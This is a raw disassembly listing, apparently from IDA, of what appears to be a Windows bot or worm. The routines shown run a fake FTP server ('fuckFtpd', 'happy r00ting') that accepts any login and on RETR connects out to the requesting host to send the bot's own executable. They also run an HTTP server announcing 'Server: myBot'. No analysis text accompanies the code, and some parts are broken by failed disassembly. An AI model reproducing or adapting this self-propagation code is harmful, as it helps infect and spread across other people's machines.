loc_403A54: ; CODE XREF: .nsp0:00403A3Dj
push 1
pop eax
loc_403A57: ; CODE XREF: .nsp0:00403A13j
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403A5B proc near ; DATA XREF: .nsp0:00405AEEo
var_A6C = byte ptr -0A6Ch
var_8DC = byte ptr -8DCh
var_6DC = dword ptr -6DCh
var_6D8 = byte ptr -6D8h
var_4C4 = byte ptr -4C4h
var_444 = dword ptr -444h
var_440 = dword ptr -440h
var_438 = dword ptr -438h
var_334 = byte ptr -334h
var_2D0 = byte ptr -2D0h
var_29C = byte ptr -29Ch
var_238 = byte ptr -238h
var_228 = dword ptr -228h
var_224 = dword ptr -224h
var_124 = byte ptr -124h
var_F8 = byte ptr -0F8h
var_C4 = byte ptr -0C4h
var_AC = byte ptr -0ACh
var_48 = byte ptr -48h
var_38 = word ptr -38h
var_36 = word ptr -36h
var_34 = dword ptr -34h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A6Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 1
mov ecx, 0A9h
mov esi, eax
lea edi, [ebp+var_6DC]
pop ebx
rep movsd
mov [eax+2A0h], ebx
lea eax, [ebp+var_A6C]
xor edi, edi
push eax
push 101h
mov [ebp+var_28], ebx
mov [ebp+var_18], ebx
mov [ebp+var_228], edi
mov [ebp+var_438], edi
call dword_41D1AC ; WSAStartup
push edi
call sub_4134A4
push eax
call sub_411F40
push 0FA00h
push 471h
call sub_410D3D
add esp, 10h
mov dword_432710, eax
push edi
push ebx
push 2
call dword_41D1D8 ; socket
mov esi, eax
lea eax, [ebp+var_28]
push 4
push eax
push 4
push 0FFFFh
push esi
mov [ebp+var_C], esi
call dword_41D1B0 ; setsockopt
lea eax, [ebp+var_18]
push eax
push 8004667Eh
push esi
call dword_41D1B4 ; ioctlsocket
mov ax, word ptr dword_432710
mov [ebp+var_38], 2
push eax
mov [ebp+var_34], edi
call dword_41D1C8 ; ntohs
mov [ebp+var_36], ax
lea eax, [ebp+var_38]
push 10h
push eax
push esi
call dword_41D1B8 ; bind
test eax, eax
jge short loc_403B30
mov eax, ebx
jmp loc_404057
; ---------------------------------------------------------------------------
loc_403B30: ; CODE XREF: sub_403A5B+CCj
push 0Ah
push esi
call dword_41D1BC ; listen
mov [ebp+var_228], ebx
mov ebx, dword_41D1DC
mov [ebp+var_224], esi
mov [ebp+var_4], esi
loc_403B4E: ; CODE XREF: sub_403A5B+12Cj
; sub_403A5B+5F4j
push 41h
lea esi, [ebp+var_228]
pop ecx
lea edi, [ebp+var_438]
rep movsd
xor esi, esi
lea eax, [ebp+var_438]
push esi
push esi
push esi
push eax
mov eax, [ebp+var_4]
inc eax
push eax
call dword_41D1E0 ; select
cmp eax, 0FFFFFFFFh
jz loc_404054
xor edi, edi
cmp [ebp+var_4], esi
mov [ebp+arg_0], edi
jl short loc_403B4E
loc_403B89: ; CODE XREF: sub_403A5B+5EEj
xor esi, esi
push 64h
lea eax, [ebp+var_29C]
push esi
push eax
call sub_411F70
push 64h
lea eax, [ebp+var_AC]
push esi
push eax
call sub_411F70
add esp, 18h
lea eax, [ebp+var_438]
push eax
push edi
call sub_41C9D6 ; __WSAFDIsSet
test eax, eax
jz loc_404042
cmp edi, [ebp+var_C]
jnz short loc_403C40
lea eax, [ebp+var_24]
mov [ebp+var_24], 10h
push eax
lea eax, [ebp+var_238]
push eax
push [ebp+var_C]
call dword_41D1C0 ; accept
cmp eax, 0FFFFFFFFh
jz loc_404042
xor ecx, ecx
cmp [ebp+var_228], esi
jbe short loc_403C0A
lea edx, [ebp+var_224]
loc_403BFA: ; CODE XREF: sub_403A5B+1ADj
cmp [edx], eax
jz short loc_403C0A
inc ecx
add edx, 4
cmp ecx, [ebp+var_228]
jb short loc_403BFA
loc_403C0A: ; CODE XREF: sub_403A5B+197j
; sub_403A5B+1A1j
cmp ecx, [ebp+var_228]
jnz short loc_403C28
cmp [ebp+var_228], 40h
jnb short loc_403C28
mov [ebp+ecx*4+var_224], eax
inc [ebp+var_228]
loc_403C28: ; CODE XREF: sub_403A5B+1B5j
; sub_403A5B+1BEj
cmp eax, [ebp+var_4]
jle short loc_403C30
mov [ebp+var_4], eax
loc_403C30: ; CODE XREF: sub_403A5B+1D0j
push esi
push 15h
push offset a220Fuckftpd0wn ; "220 fuckFtpd 0wns j0\n"
push eax
call ebx ; dword_41D1DC
jmp loc_404042
; ---------------------------------------------------------------------------
loc_403C40: ; CODE XREF: sub_403A5B+169j
push esi
lea eax, [ebp+var_29C]
push 64h
push eax
push edi
call dword_41D1D0 ; recv
test eax, eax
jg short loc_403CA7
mov edx, [ebp+var_228]
xor ecx, ecx
cmp edx, esi
jbe short loc_403C9B
lea eax, [ebp+var_224]
loc_403C67: ; CODE XREF: sub_403A5B+216j
cmp [eax], edi
jz short loc_403C75
inc ecx
add eax, 4
cmp ecx, edx
jb short loc_403C67
jmp short loc_403C9B
; ---------------------------------------------------------------------------
loc_403C75: ; CODE XREF: sub_403A5B+20Ej
dec edx
cmp ecx, edx
jnb short loc_403C95
lea eax, [ebp+ecx*4+var_224]
loc_403C81: ; CODE XREF: sub_403A5B+238j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov edx, [ebp+var_228]
add eax, 4
dec edx
cmp ecx, edx
jb short loc_403C81
loc_403C95: ; CODE XREF: sub_403A5B+21Dj
dec [ebp+var_228]
loc_403C9B: ; CODE XREF: sub_403A5B+204j
; sub_403A5B+218j
push edi
call dword_41D1D4 ; closesocket
jmp loc_404042
; ---------------------------------------------------------------------------
loc_403CA7: ; CODE XREF: sub_403A5B+1F8j
lea eax, [ebp+var_334]
push eax
lea eax, [ebp+var_AC]
push eax
lea eax, [ebp+var_29C]
push offset aSS ; "%s %s"
push eax
call sub_413470
lea eax, [ebp+var_AC]
push offset aUser_0 ; "USER"
push eax
call sub_412310
add esp, 18h
test eax, eax
jnz short loc_403CEB
push esi
push 16h
push offset a331PasswordReq ; "331 Password required\n"
jmp loc_40402D
; ---------------------------------------------------------------------------
loc_403CEB: ; CODE XREF: sub_403A5B+281j
lea eax, [ebp+var_AC]
push offset aPass ; "PASS"
push eax
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_403D0F
push esi
push 14h
push offset a230UserLoggedI ; "230 User logged in.\n"
jmp loc_40402D
; ---------------------------------------------------------------------------
loc_403D0F: ; CODE XREF: sub_403A5B+2A5j
lea eax, [ebp+var_AC]
push offset aSyst ; "SYST"
push eax
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_403D33
push esi
push 0Dh
push offset a215Fuckftpd ; "215 fuckFtpd\n"
jmp loc_40402D
; ---------------------------------------------------------------------------
loc_403D33: ; CODE XREF: sub_403A5B+2C9j
lea eax, [ebp+var_AC]
push offset aRest ; "REST"
push eax
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_403D57
push esi
push 10h
push offset a350Restarting_ ; "350 Restarting.\n"
jmp loc_40402D
; ---------------------------------------------------------------------------
loc_403D57: ; CODE XREF: sub_403A5B+2EDj
lea eax, [ebp+var_AC]
push offset off_421E64
push eax
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_403D7B
push esi
push 1Eh
push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
jmp loc_40402D
; ---------------------------------------------------------------------------
loc_403D7B: ; CODE XREF: sub_403A5B+311j
lea eax, [ebp+var_AC]
push offset aType ; "TYPE"
push eax
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_403DB6
lea eax, [ebp+var_334]
push offset aA ; "A"
push eax
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_403DB6
push esi
push 13h
push offset a200TypeSetToA_ ; "200 Type set to A.\n"
jmp loc_40402D
; ---------------------------------------------------------------------------
loc_403DB6: ; CODE XREF: sub_403A5B+335j
; sub_403A5B+34Cj
lea eax, [ebp+var_AC]
push offset aType ; "TYPE"
push eax
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_403DF1
lea eax, [ebp+var_334]
push offset aI ; "I"
push eax
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_403DF1
push esi
push 13h
push offset a200TypeSetToI_ ; "200 Type set to I.\n"
jmp loc_40402D
; ---------------------------------------------------------------------------
loc_403DF1: ; CODE XREF: sub_403A5B+370j
; sub_403A5B+387j
lea eax, [ebp+var_AC]
push offset aPasv ; "PASV"
push eax
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_403E3F
push 0Ah
mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
pop ecx
lea edi, [ebp+var_124]
rep movsd
push eax
lea eax, [ebp+var_124]
push eax
movsw
call sub_4126F0
pop ecx
push eax
lea eax, [ebp+var_124]
loc_403E2F: ; CODE XREF: sub_403A5B+423j
push eax
push [ebp+arg_0]
call ebx ; dword_41D1DC
xor esi, esi
loc_403E37: ; CODE XREF: sub_403A5B+4F3j
mov edi, [ebp+arg_0]
jmp loc_404030
; ---------------------------------------------------------------------------
loc_403E3F: ; CODE XREF: sub_403A5B+3ABj
lea eax, [ebp+var_AC]
push offset aList ; "LIST"
push eax
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_403E80
push 5
mov esi, offset a226TransferCom ; "226 Transfer complete\n"
pop ecx
lea edi, [ebp+var_C4]
rep movsd
movsw
push eax
lea eax, [ebp+var_C4]
push eax
movsb
call sub_4126F0
pop ecx
push eax
lea eax, [ebp+var_C4]
jmp short loc_403E2F
; ---------------------------------------------------------------------------
loc_403E80: ; CODE XREF: sub_403A5B+3F9j
lea eax, [ebp+var_AC]
push offset aPort ; "PORT"
push eax
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz loc_403F53
lea eax, [ebp+var_2D0]
push eax
lea eax, [ebp+var_F8]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_29C]
push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
push eax
call sub_413470
lea eax, [ebp+var_F8]
push eax
call sub_41245F
mov edi, eax
lea eax, [ebp+var_2D0]
push eax
call sub_41245F
mov [ebp+var_8], eax
push 32h
lea eax, [ebp+var_F8]
push esi
push eax
call sub_411F70
push [ebp+var_8]
lea eax, [ebp+var_F8]
push edi
push offset aXX ; "%x%x\n"
push eax
call sub_411EEE
add esp, 44h
lea eax, [ebp+var_F8]
push 10h
push esi
push eax
call sub_413459
mov [ebp+var_8], eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_48]
push offset aS_S_S_S ; "%s.%s.%s.%s"
push eax
call sub_411EEE
add esp, 24h
push esi
push 1Dh
push offset a200PortCommand ; "200 PORT command successful.\n"
push [ebp+arg_0]
call ebx ; dword_41D1DC
jmp loc_403E37
; ---------------------------------------------------------------------------
loc_403F53: ; CODE XREF: sub_403A5B+43Aj
lea eax, [ebp+var_AC]
push offset aRetr ; "RETR"
push eax
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz loc_40400E
push esi
push 28h
push offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
push edi
call ebx ; dword_41D1DC
push [ebp+var_8]
lea eax, [ebp+var_48]
push eax
call sub_40405E
pop ecx
cmp eax, 1
pop ecx
jnz short loc_404004
call sub_4040DB
cmp eax, 1
jnz loc_404030
push esi
push 17h
push offset a226TransferC_0 ; "226 Transfer complete.\n"
push edi
call ebx ; dword_41D1DC
lea eax, [ebp+var_6D8]
push eax
lea eax, [ebp+var_48]
push dword_432710
push eax
lea eax, [ebp+var_8DC]
push offset dword_421CA8
push eax
call sub_411EEE
add esp, 14h
cmp [ebp+var_440], esi
jnz short loc_403FF5
push esi
lea eax, [ebp+var_8DC]
push [ebp+var_444]
push eax
lea eax, [ebp+var_4C4]
push eax
push [ebp+var_6DC]
call sub_40F9F1
add esp, 14h
loc_403FF5: ; CODE XREF: sub_403A5B+575j
lea eax, [ebp+var_8DC]
push eax
call sub_408E17
pop ecx
jmp short loc_404030
; ---------------------------------------------------------------------------
loc_404004: ; CODE XREF: sub_403A5B+52Fj
push esi
push 20h
push offset a425CanTOpenDat ; "425 Can't open data connection.\n"
jmp short loc_40402D
; ---------------------------------------------------------------------------
loc_40400E: ; CODE XREF: sub_403A5B+50Dj
lea eax, [ebp+var_AC]
push offset aQuit ; "QUIT"
push eax
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_404030
push esi
push 1Bh
push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"
loc_40402D: ; CODE XREF: sub_403A5B+28Bj
; sub_403A5B+2AFj ...
push edi
call ebx ; dword_41D1DC
loc_404030: ; CODE XREF: sub_403A5B+3DFj
; sub_403A5B+539j ...
push 64h
lea eax, [ebp+var_29C]
push esi
push eax
call sub_411F70
add esp, 0Ch
loc_404042: ; CODE XREF: sub_403A5B+160j
; sub_403A5B+189j ...
inc edi
cmp edi, [ebp+var_4]
mov [ebp+arg_0], edi
jle loc_403B89
jmp loc_403B4E
; ---------------------------------------------------------------------------
loc_404054: ; CODE XREF: sub_403A5B+11Ej
push 1
pop eax
loc_404057: ; CODE XREF: sub_403A5B+D0j
pop edi
pop esi
pop ebx
leave
retn 4
sub_403A5B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40405E proc near ; CODE XREF: sub_403A5B+525p
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp+var_1A0]
push eax
push 101h
call dword_41D1AC ; WSAStartup
push 0
push 1
push 2
call dword_41D1D8 ; socket
push [ebp+arg_0]
mov dword_43270C, eax
mov [ebp+var_10], 2
call dword_41D1C4 ; inet_addr
push [ebp+arg_4]
mov [ebp+var_C], eax
call dword_41D1C8 ; ntohs
mov [ebp+var_E], ax
lea eax, [ebp+var_10]
push 10h
push eax
push dword_43270C
call dword_41D1CC ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_4040D6
push dword_43270C
call dword_41D1D4 ; closesocket
call dword_41D1A8 ; WSACleanup
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_4040D6: ; CODE XREF: sub_40405E+60j
push 1
pop eax
leave
retn
sub_40405E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4040DB proc near ; CODE XREF: sub_403A5B+531p
var_1037B = byte ptr -1037Bh
var_504 = byte ptr -504h
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 504h
push esi
lea eax, [ebp+var_104]
push 104h
push eax
push 0
call near ptr 0AB0000h
or [ebp+var_1037B], 0FFh
push offset aRb ; "rb"
push eax
call sub_4125E8
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_404172
test byte ptr [esi+0Ch], 10h
jnz short loc_404156
push edi
mov edi, 400h
loc_40411E: ; CODE XREF: sub_4040DB+78j
push esi
push 1
lea eax, [ebp+var_504]
push edi
push eax
call sub_413580
add esp, 10h
lea eax, [ebp+var_504]
push 0
push edi
push eax
push dword_43270C
call dword_41D1DC ; send
push 1
call dword_41D05C ; Sleep
test byte ptr [esi+0Ch], 10h
jz short loc_40411E
pop edi
loc_404156: ; CODE XREF: sub_4040DB+3Bj
push esi
call sub_412540
pop ecx
push dword_43270C
call dword_41D1D4 ; closesocket
call dword_41D1A8 ; WSACleanup
push 1
pop eax
loc_404172: ; CODE XREF: sub_4040DB+35j
pop esi
leave
retn
sub_4040DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404175 proc near ; DATA XREF: .nsp0:00405BFBo
; .nsp0:0040EE1Bo
var_28F0 = byte ptr -28F0h
var_18F0 = byte ptr -18F0h
var_8F0 = byte ptr -8F0h
var_6F0 = byte ptr -6F0h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_360 = byte ptr -360h
var_25C = dword ptr -25Ch
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_23C = byte ptr -23Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_34 = byte ptr -34h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 28F0h
call sub_412770
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_5EC]
push 1
rep movsd
pop esi
xor ebx, ebx
mov [eax+3ACh], esi
push 10h
lea eax, [ebp+var_24]
push ebx
push eax
mov [ebp+var_14], esi
call sub_411F70
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+var_25C]
call dword_433AC8 ; ntohs
push ebx
push esi
push 2
mov [ebp+var_22], ax
mov [ebp+var_20], ebx
call dword_433B48 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_C], edi
jz loc_404560
mov eax, [ebp+var_254]
push 10h
imul eax, 234h
mov dword_438C64[eax], edi
lea eax, [ebp+var_24]
push eax
push edi
call dword_433AF4 ; bind
cmp eax, 0FFFFFFFFh
jz loc_404560
push 7FFFFFFFh
push edi
call dword_433AF0 ; listen
cmp eax, 0FFFFFFFFh
jz loc_404560
lea eax, [ebp+var_14]
push eax
push 8004667Eh
push edi
call dword_433B64 ; ioctlsocket
cmp eax, 0FFFFFFFFh
jz loc_404560
mov ebx, esi
mov [ebp+var_134], edi
mov [ebp+var_138], ebx
mov [ebp+var_8], edi
loc_40424C: ; CODE XREF: sub_404175+3E1j
push 41h
xor eax, eax
pop ecx
lea esi, [ebp+var_138]
push eax
push eax
push eax
lea eax, [ebp+var_6F0]
push eax
mov eax, [ebp+var_8]
lea edi, [ebp+var_6F0]
inc eax
rep movsd
push eax
call dword_433AB0 ; select
cmp eax, 0FFFFFFFFh
jz loc_40455B
xor esi, esi
mov [ebp+var_4], esi
loc_404282: ; CODE XREF: sub_404175+3DBj
lea eax, [ebp+var_6F0]
push eax
push esi
call dword_4339C0 ; __WSAFDIsSet
test eax, eax
jz loc_404546
cmp esi, [ebp+var_C]
jnz short loc_404304
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_34]
push eax
push [ebp+var_C]
call dword_433B5C ; accept
cmp eax, 0FFFFFFFFh
jz loc_404546
xor ecx, ecx
test ebx, ebx
jbe short loc_4042D6
lea edx, [ebp+var_134]
loc_4042CA: ; CODE XREF: sub_404175+15Fj
cmp [edx], eax
jz short loc_4042D6
inc ecx
add edx, 4
cmp ecx, ebx
jb short loc_4042CA
loc_4042D6: ; CODE XREF: sub_404175+14Dj
; sub_404175+157j
cmp ecx, ebx
jnz short loc_4042F3
cmp ebx, 40h
jnb short loc_4042F3
mov [ebp+ecx*4+var_134], eax
mov ebx, [ebp+var_138]
inc ebx
mov [ebp+var_138], ebx
loc_4042F3: ; CODE XREF: sub_404175+163j
; sub_404175+168j
cmp eax, [ebp+var_8]
jbe loc_404546
mov [ebp+var_8], eax
jmp loc_404546
; ---------------------------------------------------------------------------
loc_404304: ; CODE XREF: sub_404175+126j
mov edi, 1000h
lea eax, [ebp+var_28F0]
push edi
push 0
push eax
call sub_411F70
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_411F70
add esp, 18h
lea eax, [ebp+var_28F0]
push 0
push edi
push eax
push esi
call dword_433AE0 ; recv
test eax, eax
jg short loc_404397
push esi
call dword_433B60 ; closesocket
xor ecx, ecx
test ebx, ebx
jbe loc_404546
lea eax, [ebp+var_134]
loc_404356: ; CODE XREF: sub_404175+1EBj
cmp [eax], esi
jz short loc_404367
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_404356
jmp loc_404546
; ---------------------------------------------------------------------------
loc_404367: ; CODE XREF: sub_404175+1E3j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_40438B
lea eax, [ebp+ecx*4+var_134]
loc_404375: ; CODE XREF: sub_404175+214j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_404375
loc_40438B: ; CODE XREF: sub_404175+1F7j
dec ebx
mov [ebp+var_138], ebx
jmp loc_404546
; ---------------------------------------------------------------------------
loc_404397: ; CODE XREF: sub_404175+1C8j
xor esi, esi
push 104h
lea eax, [ebp+var_23C]
push esi
push eax
call sub_411F70
lea eax, [ebp+var_28F0]
mov [ebp+arg_0], esi
push eax
call sub_4126F0
add esp, 10h
test eax, eax
jbe loc_404546
loc_4043C5: ; CODE XREF: sub_404175+309j
mov eax, [ebp+arg_0]
mov al, [ebp+eax+var_28F0]
cmp al, 0Ah
mov [ebp+esi+var_18F0], al
jnz loc_40446A
mov esi, offset aGet ; "GET "
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_4124C0
pop ecx
test eax, eax
pop ecx
jz short loc_40443E
lea eax, [ebp+var_18F0]
push eax
call sub_4126F0
cmp eax, 5
pop ecx
jbe short loc_40443E
mov eax, offset asc_421F4C ; " "
push eax
push eax
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_4124C0
pop ecx
pop ecx
push eax
call sub_4124C0
pop ecx
pop ecx
push eax
call sub_413668
push eax
lea eax, [ebp+var_23C]
push eax
call sub_412600
add esp, 10h
jmp short loc_404455
; ---------------------------------------------------------------------------
loc_40443E: ; CODE XREF: sub_404175+27Fj
; sub_404175+291j
lea eax, [ebp+var_18F0]
push offset asc_421F48 ; "\r\n"
push eax
call sub_412310
pop ecx
test eax, eax
pop ecx
jz short loc_404489
loc_404455: ; CODE XREF: sub_404175+2C7j
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_411F70
add esp, 0Ch
or esi, 0FFFFFFFFh
loc_40446A: ; CODE XREF: sub_404175+263j
inc [ebp+arg_0]
lea eax, [ebp+var_28F0]
push eax
inc esi
call sub_4126F0
cmp [ebp+arg_0], eax
pop ecx
jb loc_4043C5
jmp loc_404546
; ---------------------------------------------------------------------------
loc_404489: ; CODE XREF: sub_404175+2DEj
xor ecx, ecx
test ebx, ebx
jbe short loc_4044D3
lea eax, [ebp+var_134]
loc_404495: ; CODE XREF: sub_404175+32Dj
mov esi, [ebp+var_4]
cmp [eax], esi
jz short loc_4044A6
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_404495
jmp short loc_4044D6
; ---------------------------------------------------------------------------
loc_4044A6: ; CODE XREF: sub_404175+325j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_4044CA
lea eax, [ebp+ecx*4+var_134]
loc_4044B4: ; CODE XREF: sub_404175+353j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_4044B4
loc_4044CA: ; CODE XREF: sub_404175+336j
dec ebx
mov [ebp+var_138], ebx
jmp short loc_4044D6
; ---------------------------------------------------------------------------
loc_4044D3: ; CODE XREF: sub_404175+318j
mov esi, [ebp+var_4]
loc_4044D6: ; CODE XREF: sub_404175+32Fj
; sub_404175+35Cj
lea eax, [ebp+var_23C]
test eax, eax
jz short loc_40453F
lea eax, [ebp+var_360]
push eax
call sub_4126F0
mov edi, eax
lea eax, [ebp+var_23C]
push eax
call sub_4126F0
add edi, eax
pop ecx
cmp edi, 104h
pop ecx
jnb short loc_40453F
and [ebp+arg_0], 0
lea eax, [ebp+arg_0]
push eax
push 8004667Eh
push esi
call dword_433B64 ; ioctlsocket
push [ebp+var_254]
lea eax, [ebp+var_23C]
push [ebp+var_248]
push eax
lea eax, [ebp+var_360]
push eax
push esi
call loc_404752
add esp, 14h
jmp short loc_404546
; ---------------------------------------------------------------------------
loc_40453F: ; CODE XREF: sub_404175+369j
; sub_404175+38Fj
push esi
call dword_433B60 ; closesocket
loc_404546: ; CODE XREF: sub_404175+11Dj
; sub_404175+143j ...
mov esi, [ebp+var_4]
inc esi
cmp esi, [ebp+var_8]
mov [ebp+var_4], esi
jbe loc_404282
jmp loc_40424C
; ---------------------------------------------------------------------------
loc_40455B: ; CODE XREF: sub_404175+102j
mov edi, [ebp+var_C]
xor ebx, ebx
loc_404560: ; CODE XREF: sub_404175+6Aj
; sub_404175+92j ...
call dword_433A5C ; WSAGetLastError
push eax
lea eax, [ebp+var_8F0]
push offset unk_421F00
push eax
call sub_411EEE
add esp, 0Ch
cmp [ebp+var_24C], ebx
jnz short loc_4045A6
push ebx
lea eax, [ebp+var_8F0]
push [ebp+var_250]
push eax
lea eax, [ebp+var_5E8]
push eax
push [ebp+var_5EC]
call sub_40F9F1
add esp, 14h
loc_4045A6: ; CODE XREF: sub_404175+40Cj
lea eax, [ebp+var_8F0]
push eax
call sub_408E17
pop ecx
push edi
call dword_433B60 ; closesocket
push [ebp+var_254]
call sub_411CB6
pop ecx
push ebx
call near ptr 0AB0000h
push edx
pop edi
pop esi
pop ebx
sub_404175 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4045D0 proc near ; DATA XREF: .nsp0:00404998o
var_1654 = byte ptr -1654h
var_654 = byte ptr -654h
var_550 = byte ptr -550h
var_44C = dword ptr -44Ch
var_3C8 = byte ptr -3C8h
var_2C4 = byte ptr -2C4h
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_A4 = dword ptr -0A4h
var_9C = byte ptr -9Ch
var_68 = byte ptr -68h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_1E6AE03D = byte ptr 1E6AE045h
push ebp
mov ebp, esp
mov eax, 1654h
call sub_412770
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_44C]
rep movsd
mov dword ptr [eax+3ACh], 1
lea eax, [ebp+var_3C8]
push eax
lea eax, [ebp+var_550]
push eax
call sub_411EEE
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_654]
push eax
call sub_411EEE
xor edi, edi
add esp, 10h
cmp [ebp+var_A4], edi
jz short loc_404635
push offset aTextHtml ; "text/html"
jmp short loc_40463A
; ---------------------------------------------------------------------------
loc_404635: ; CODE XREF: sub_4045D0+5Cj
push offset aApplicationOct ; "application/octet-stream"
loc_40463A: ; CODE XREF: sub_4045D0+63j
lea eax, [ebp+var_9C]
push eax
call sub_411EEE
pop ecx
lea eax, [ebp+var_68]
pop ecx
mov esi, 409h
push 46h
push eax
push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy"
push edi
push edi
push esi
call near ptr 0AB0000h
sub [ebp+arg_1E6AE03D], cl
push eax
push offset aHhMmSs ; "HH:mm:ss"
push edi
push edi
push esi
call near ptr 0AB0000h
dec edx
lea eax, [ebp+var_20]
cmp [ebp+var_B8], 0FFFFFFFFh
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
jnz short loc_4046B3
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_411EEE
add esp, 24h
jmp short loc_4046D4
; ---------------------------------------------------------------------------
loc_4046B3: ; CODE XREF: sub_4045D0+C4j
push [ebp+var_B8]
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_411EEE
add esp, 28h
loc_4046D4: ; CODE XREF: sub_4045D0+E1j
lea eax, [ebp+var_1654]
push edi
push eax
call sub_4126F0
pop ecx
push eax
lea eax, [ebp+var_1654]
push eax
push [ebp+var_44C]
call dword_433B18 ; send
cmp [ebp+var_A4], edi
jnz short loc_404714
lea eax, [ebp+var_550]
push eax
push [ebp+var_44C]
call sub_405084
pop ecx
pop ecx
jmp short loc_404731
; ---------------------------------------------------------------------------
loc_404714: ; CODE XREF: sub_4045D0+12Cj
lea eax, [ebp+var_654]
push eax
push edi
push [ebp+var_44C]
lea eax, [ebp+var_550]
push eax
call sub_404A02
add esp, 10h
loc_404731: ; CODE XREF: sub_4045D0+142j
push [ebp+var_44C]
call dword_433B60 ; closesocket
push [ebp+var_B4]
call sub_411CB6
pop ecx
push edi
call near ptr 0AB0000h
aas
pop edi
pop esi
sub_4045D0 endp ; sp-analysis failed
loc_404752: ; CODE XREF: sub_404175+3C0p
push ebp
mov ebp, esp
sub esp, 8C4h
push ebx
push esi
push edi
xor edi, edi
push 104h
lea eax, [ebp-210h]
push edi
push eax
mov [ebp-4], edi
call sub_411F70
mov eax, [ebp+10h]
add esp, 0Ch
cmp byte ptr [eax], 2Fh
jz short loc_404788
push eax
push offset aS_2 ; "\\%s"
jmp short loc_404791
; ---------------------------------------------------------------------------
loc_404788: ; CODE XREF: .nsp0:0040477Ej
push eax
